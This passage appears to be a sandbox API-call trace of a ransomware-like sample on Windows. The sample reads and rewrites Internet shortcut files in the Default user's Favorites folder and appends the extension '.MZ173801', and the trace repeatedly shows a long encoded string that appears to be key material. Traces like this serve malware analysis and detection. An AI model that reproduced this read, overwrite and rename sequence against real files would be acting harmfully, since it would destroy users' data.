RUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.612] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.612] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.612] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.612] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.612] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.612] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.614] CloseHandle (hObject=0x2a8) returned 1 [0144.614] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.615] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.616] CloseHandle (hObject=0x2a8) returned 1 [0144.616] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.mz173801")) returned 1 [0144.617] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.617] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.621] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.621] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.621] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.621] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.621] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.622] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.623] CloseHandle (hObject=0x2a8) returned 1 [0144.623] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.624] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.625] CloseHandle (hObject=0x2a8) returned 1 [0144.625] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url.mz173801")) returned 1 [0144.626] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.626] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa70507a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa70507a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.626] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.626] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.626] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.626] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.626] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.626] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.626] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.626] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.627] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.627] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.627] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.627] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.627] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.627] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.627] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.627] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.627] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x18f5ec, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.630] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.630] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.630] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.630] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, 